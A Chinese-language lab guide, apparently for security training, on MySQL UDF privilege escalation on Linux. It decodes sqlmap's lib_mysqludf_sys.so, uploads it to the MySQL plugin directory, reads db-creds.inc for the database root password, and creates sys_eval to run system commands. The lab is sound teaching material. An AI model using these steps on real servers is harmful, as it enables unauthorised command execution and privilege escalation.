Mysql提权-基于Mysql的UDF提权(Linux系统)
基于Mysql的UDF提权(Linux系统)
【实验目的】
??通过本实验理解如何通过webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权,熟悉UDF提权的主要方法。
【实验环境】
攻击机:Kali-pri
用户名college,密码360College
目标靶机:CentOS-sqli-lab
用户名college,密码360College
【实验原理】
??scp命令简介:
??scp是 secure copy的缩写, scp是linux系统下基于ssh登录进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。
??复制文件的命令格式:
??scp local_file remote_username@remote_ip:remote_folder
??scp dama.php michael@192.168.198.13:/var/www/html/wordpress
【实验步骤】
??1.启动靶机CentOS-sqli-lab、攻击机Kali-pri。
??2.将Kali系统中sqlmap自带的udf提权库文件进行解码。 在Kali攻击机上,启动终端,依次输入如下命令:
??(1)sudo su
//切换到root用户
??(2)cd /usr/share/sqlmap/extra/cloak/
//进入cloak目录
??(3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
//将lib_mysqludf_sys.so_进行解码
??解码后,在/usr/share/sqlmap/udf/mysql/linux/64目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件。
??3.将攻击机上的lib_mysqludf_sys.so文件上传至靶机的/usr/lib64/mysql/plugin目录(此为mysql数据库的插件安装目录),所用命令为:
??scp /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 【靶机的账户】@【靶机IP地址】: /usr/lib64/mysql/plugin
??这里所用的靶机账户为college,密码为360College
??4.在Kali攻击机上,利用nmap扫描靶机开放的端口,所用命令为:
??nmap -sS 【靶机IP地址】
??注意:该命令只有管理员身份(即root用户)才能使用!
??通过nmap扫描结果得知,目标靶机开放了TCP 22端口。
??5.在Kali攻击机上,通过SSH连接靶机,所用命令为:
??ssh 【靶机的账户】@【靶机IP地址】
??这里所用的靶机账户为college,密码为360College
??6.通过SSH成功连接靶机后,进入靶机的/var/www/html/sql-connections目录,通过查看db-creds.inc文件内容获取靶机MySQL数据库root账户的密码。所用命令为:
??(1)cd /var/www/html/sql-connections
//进入该目录
??(2)cat db-creds.inc
//查看db-creds.inc文件内容
??这里获取到的MySQL数据库root账户的密码为root123456
??7.用root账户连接靶机的MySQL数据库。
??依次输入以下命令:
??(1)cd /usr/bin
//进入MySQL可执行文件的目录
??(2)mysql -h 127.0.0.1 -u root -p
//连接MySQL
??(3)输入root账户的密码root123456
??当出现mysql>的提示符时,则表示连接成功。
??8.利用第3步中上传的lib_mysqludf_sys.so文件,创建一个MySQL函数sys_eval,所用命令为:
??create function sys_eval returns strings soname ‘lib_mysqludf_sys.so’;
??创建完成后,利用如下命令查看结果:
??select * from mysql.func;
??9.利用sys_eval函数执行系统命令:
??(1)select sys_eval(‘whoami’);
??(2)select sys_eval(‘id’);
??实验至此结束。
【思考与总结】
??通过本次实验,掌握了利用webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权的方法。